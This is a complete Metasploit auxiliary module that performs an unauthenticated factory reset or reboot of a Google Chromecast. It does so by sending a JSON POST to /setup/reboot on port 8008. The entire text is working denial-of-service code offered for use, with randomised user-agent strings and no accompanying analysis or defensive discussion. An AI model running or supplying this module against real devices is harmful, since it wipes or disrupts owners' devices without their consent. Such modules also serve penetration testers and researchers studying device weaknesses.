Chromecast Factory Reset Denial Of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Chromecast Factory Reset DoS',  
'Description' => %q{  
This module performs a factory reset on a Chromecast, causing a denial of service (DoS).  
No user authentication is required.  
},  
'Author' => ['wvu'],  
'References' => [  
['URL', 'http://www.google.com/intl/en/chrome/devices/chromecast/index.html'] # vendor website  
],  
'License' => MSF_LICENSE,  
'Actions' => [  
['Reset', 'Description' => 'Factory reset'],  
['Reboot', 'Description' => 'Reboot only']  
],  
'DefaultAction' => 'Reset'  
))  
  
register_options([  
Opt::RPORT(8008)  
])  
end  
  
def run  
case action.name  
when 'Reset'  
res = reset  
when 'Reboot'  
res = reboot  
end  
  
if res && res.code == 200  
print_good("#{action.name} performed")  
elsif res  
print_error("An error occurred: #{res.code} #{res.message}")  
end  
end  
  
def reset  
begin  
send_request_raw(  
'method' => 'POST',  
'uri' => '/setup/reboot',  
'agent' => Rex::Text.rand_text_english(rand(42) + 1),  
'ctype' => 'application/json',  
'data' => '{"params": "fdr"}'  
)  
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,  
Rex::HostUnreachable => e  
fail_with(Failure::Unreachable, e)  
ensure  
disconnect  
end  
end  
  
def reboot  
begin  
send_request_raw(  
'method' => 'POST',  
'uri' => '/setup/reboot',  
'agent' => Rex::Text.rand_text_english(rand(42) + 1),  
'ctype' => 'application/json',  
'data' => '{"params": "now"}'  
)  
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,  
Rex::HostUnreachable => e  
fail_with(Failure::Unreachable, e)  
ensure  
disconnect  
end  
end  
end  
`